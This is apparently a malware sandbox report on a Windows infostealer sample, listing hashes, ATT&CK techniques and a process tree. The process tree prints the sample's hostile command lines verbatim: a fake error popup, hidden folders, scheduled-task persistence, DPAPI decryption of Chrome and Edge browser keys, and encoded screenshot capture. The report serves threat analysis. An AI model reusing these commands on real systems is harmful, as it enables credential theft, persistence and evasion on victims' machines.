69d1cea59acd02fac51156de13cd09360614c5c091ae578dc9df9954ee9323ad

Analysis

max time kernel
152s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Size 43.9MB
Sample260804-knnpyawbpg
SHA256 69d1cea59acd02fac51156de13cd09360614c5c091ae578dc9df9954ee9323ad
MD5 ff4e9b90dbd0dc288f2245b0a067b41f
SHA1 9492cf96f64024842d467043bae48866427bfe28
SHA512 3358d87b450c287896e37eac8b0c6d9ac6fc008e0dc70bcce7fb3956fdbd6f26cf14de4f8f37b145c1f99b8c314b6e6ea25cdf5df75ee01d41e5a76deadbe982
SSDEEP 786432:93on1HvSzxAMNjFZArYsCnqWDPvmPvVMob7OZkRK0:9Yn1HvSpNjXmCnquaPpK0
TLSH
T1BCA7BF03B2A501E5E4B7D1388AA75203D772B8674731CACF325D02161FBBAE09A7F765
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Loads dropped DLL 1 IoCs

pid	Process
2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
17	discord.com
18	discord.com

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com
1	api.ipify.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
3856	cmd.exe
2772	cmd.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5812	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2140	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3496	powershell.exe

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5156	cmd.exe
1416	cmd.exe
2308	cmd.exe
2772	cmd.exe
1256	cmd.exe
5468	cmd.exe
5220	cmd.exe
5032	cmd.exe
6032	cmd.exe
3856	cmd.exe
4472	cmd.exe
2240	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5836	schtasks.exe
4232	schtasks.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
3496	powershell.exe
3496	powershell.exe
3496	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
2204	powershell.exe
2204	powershell.exe
2204	powershell.exe
3916	powershell.exe
3916	powershell.exe
3916	powershell.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeIncreaseQuotaPrivilege	3496	powershell.exe
Token: SeSecurityPrivilege	3496	powershell.exe
Token: SeTakeOwnershipPrivilege	3496	powershell.exe
Token: SeLoadDriverPrivilege	3496	powershell.exe
Token: SeSystemProfilePrivilege	3496	powershell.exe
Token: SeSystemtimePrivilege	3496	powershell.exe
Token: SeProfSingleProcessPrivilege	3496	powershell.exe
Token: SeIncBasePriorityPrivilege	3496	powershell.exe
Token: SeCreatePagefilePrivilege	3496	powershell.exe
Token: SeBackupPrivilege	3496	powershell.exe
Token: SeRestorePrivilege	3496	powershell.exe
Token: SeShutdownPrivilege	3496	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeSystemEnvironmentPrivilege	3496	powershell.exe
Token: SeRemoteShutdownPrivilege	3496	powershell.exe
Token: SeUndockPrivilege	3496	powershell.exe
Token: SeManageVolumePrivilege	3496	powershell.exe
Token: 33	3496	powershell.exe
Token: 34	3496	powershell.exe
Token: 35	3496	powershell.exe
Token: 36	3496	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	5812	tasklist.exe
Token: SeDebugPrivilege	3916	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2800 wrote to memory of 5220	2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	88
PID 5220 wrote to memory of 4340	5220	cmd.exe	90
PID 4340 wrote to memory of 4884	4340	net.exe	91
PID 2800 wrote to memory of 5156	2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	92
PID 5156 wrote to memory of 5032	5156	cmd.exe	94
PID 5032 wrote to memory of 4896	5032	cmd.exe	95
PID 2800 wrote to memory of 1416	2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	96
PID 1416 wrote to memory of 3496	1416	cmd.exe	98
PID 2800 wrote to memory of 2140	2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	100
PID 2140 wrote to memory of 2412	2140	cmd.exe	102
PID 2800 wrote to memory of 6032	2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	103
PID 6032 wrote to memory of 5836	6032	cmd.exe	105
PID 2800 wrote to memory of 2308	2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	106
PID 2308 wrote to memory of 4232	2308	cmd.exe	108
PID 2800 wrote to memory of 3856	2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	109
PID 3856 wrote to memory of 4316	3856	cmd.exe	111
PID 2800 wrote to memory of 2772	2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	112
PID 2772 wrote to memory of 2204	2772	cmd.exe	114
PID 2800 wrote to memory of 4472	2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	117
PID 4472 wrote to memory of 5812	4472	cmd.exe	119
PID 2800 wrote to memory of 2240	2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	120
PID 2240 wrote to memory of 3916	2240	cmd.exe	122
PID 2800 wrote to memory of 1256	2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	123
PID 1256 wrote to memory of 3376	1256	cmd.exe	125
PID 2800 wrote to memory of 5468	2800	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	126
PID 5468 wrote to memory of 5924	5468	cmd.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2412	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5220
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4340
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c start "" mshta vbscript:Execute("MsgBox ""The execution of the program has failed due to a system error. Please try restarting the application. If the problem persists, contact support."", 16, ""System Error"":close")"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5156
- - C:\Windows\system32\cmd.exe
    cmd /c start "" mshta vbscript:Execute("MsgBox ""The execution of the program has failed due to a system error. Please try restarting the application. If the problem persists, contact support."", 16, ""System Error"":close")
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5032
  - - C:\Windows\system32\mshta.exe
      mshta vbscript:Execute("MsgBox ""The execution of the program has failed due to a system error. Please try restarting the application. If the problem persists, contact support."", 16, ""System Error"":close")
      4⤵
      PID:4896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHealthCheck|EdgeBrowserUpdate)' -or $_.Description -match 'MaintenanceTask' -or ($_.Actions.Execute + ' ' + $_.Actions.Arguments) -match 'Microsoft\\Windows\\[a-zA-Z0-9]{8}\\' } | Unregister-ScheduledTask -Confirm:$false""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHealthCheck|EdgeBrowserUpdate)' -or $_.Description -match 'MaintenanceTask' -or ($_.Actions.Execute + ' ' + $_.Actions.Arguments) -match 'Microsoft\\Windows\\[a-zA-Z0-9]{8}\\' } | Unregister-ScheduledTask -Confirm:$false"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Z0fSsb01""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Z0fSsb01"
    3⤵
    - Views/modifies file attributes
    PID:2412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "NetFrameworkUpdate_r0wmyO" /xml "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Z0fSsb01\78cWlo4L.xml" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6032
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "NetFrameworkUpdate_r0wmyO" /xml "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Z0fSsb01\78cWlo4L.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "NetFrameworkUpdate_r0wmyO" /tr "wscript.exe //nologo 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Z0fSsb01\2BtepbTr.vbs'" /sc onlogon /rl highest /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2308
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "NetFrameworkUpdate_r0wmyO" /tr "wscript.exe //nologo 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Z0fSsb01\2BtepbTr.vbs'" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,84,101,210,233,237,181,61,64,150,255,241,95,131,103,149,16,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,208,224,213,117,121,181,131,140,199,179,146,140,100,231,255,172,57,28,225,227,159,134,236,255,115,118,190,6,66,42,128,22,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,76,11,174,59,8,247,56,242,11,150,181,12,193,54,98,73,100,229,151,117,34,214,44,65,246,237,244,150,29,245,208,255,48,0,0,0,124,62,67,109,122,230,76,188,3,74,173,67,151,143,234,190,135,212,19,47,64,203,230,165,123,24,157,214,142,46,221,200,176,51,230,151,252,78,165,49,87,189,51,129,57,80,1,215,64,0,0,0,116,89,125,81,18,13,83,1,217,183,31,142,41,172,247,249,130,60,54,219,90,195,55,251,38,1,75,108,252,163,9,59,165,104,224,137,173,5,130,244,31,231,115,138,141,57,229,239,10,19,79,135,208,101,179,187,255,164,18,214,158,105,35,35), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,84,101,210,233,237,181,61,64,150,255,241,95,131,103,149,16,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,208,224,213,117,121,181,131,140,199,179,146,140,100,231,255,172,57,28,225,227,159,134,236,255,115,118,190,6,66,42,128,22,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,76,11,174,59,8,247,56,242,11,150,181,12,193,54,98,73,100,229,151,117,34,214,44,65,246,237,244,150,29,245,208,255,48,0,0,0,124,62,67,109,122,230,76,188,3,74,173,67,151,143,234,190,135,212,19,47,64,203,230,165,123,24,157,214,142,46,221,200,176,51,230,151,252,78,165,49,87,189,51,129,57,80,1,215,64,0,0,0,116,89,125,81,18,13,83,1,217,183,31,142,41,172,247,249,130,60,54,219,90,195,55,251,38,1,75,108,252,163,9,59,165,104,224,137,173,5,130,244,31,231,115,138,141,57,229,239,10,19,79,135,208,101,179,187,255,164,18,214,158,105,35,35), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,84,101,210,233,237,181,61,64,150,255,241,95,131,103,149,16,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,92,183,138,138,215,179,54,134,187,171,122,1,168,231,103,39,37,255,214,18,109,214,209,210,113,153,120,175,10,34,53,103,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,137,79,117,142,85,199,113,249,66,224,222,176,105,173,211,243,184,101,129,143,111,210,46,97,49,238,67,183,78,110,52,247,48,0,0,0,148,47,250,125,170,148,155,13,136,162,100,228,18,220,168,51,17,243,159,31,2,234,111,85,23,210,221,100,17,199,212,213,43,187,92,253,200,0,89,88,136,243,82,53,202,244,30,108,64,0,0,0,251,216,181,103,111,177,62,250,181,159,6,117,103,9,240,110,248,114,96,132,212,158,42,88,62,109,156,168,233,69,106,95,205,10,105,79,247,13,147,250,223,6,22,195,125,65,192,59,149,219,17,110,164,212,76,84,206,73,176,14,180,171,105,232), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,84,101,210,233,237,181,61,64,150,255,241,95,131,103,149,16,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,92,183,138,138,215,179,54,134,187,171,122,1,168,231,103,39,37,255,214,18,109,214,209,210,113,153,120,175,10,34,53,103,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,137,79,117,142,85,199,113,249,66,224,222,176,105,173,211,243,184,101,129,143,111,210,46,97,49,238,67,183,78,110,52,247,48,0,0,0,148,47,250,125,170,148,155,13,136,162,100,228,18,220,168,51,17,243,159,31,2,234,111,85,23,210,221,100,17,199,212,213,43,187,92,253,200,0,89,88,136,243,82,53,202,244,30,108,64,0,0,0,251,216,181,103,111,177,62,250,181,159,6,117,103,9,240,110,248,114,96,132,212,158,42,88,62,109,156,168,233,69,106,95,205,10,105,79,247,13,147,250,223,6,22,195,125,65,192,59,149,219,17,110,164,212,76,84,206,73,176,14,180,171,105,232), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuAAoAJABiAGkAdABtAGEAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAG8AdQBuAGQAcwAuAFgALAAgACQAYgBvAHUAbgBkAHMALgBZACwAIAAwACwAIAAwACwAIAAkAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAJABiAGkAdABtAGEAcAAuAFMAYQB2AGUAKAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVQBzAGUAcgBTAGUAdAB0AGkAbgBnAHMAXAB0ADkAOAB4AEEANwBJAHcAVwB5AFwARQBOAC0AQwB1AGYAZQByAHgAdwBuAFwAUwBjAHIAZQBlAG4AcwBoAG8AdABcAHMAYwByAGUAZQBuAHMAaABvAHQALgBwAG4AZwAiACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAG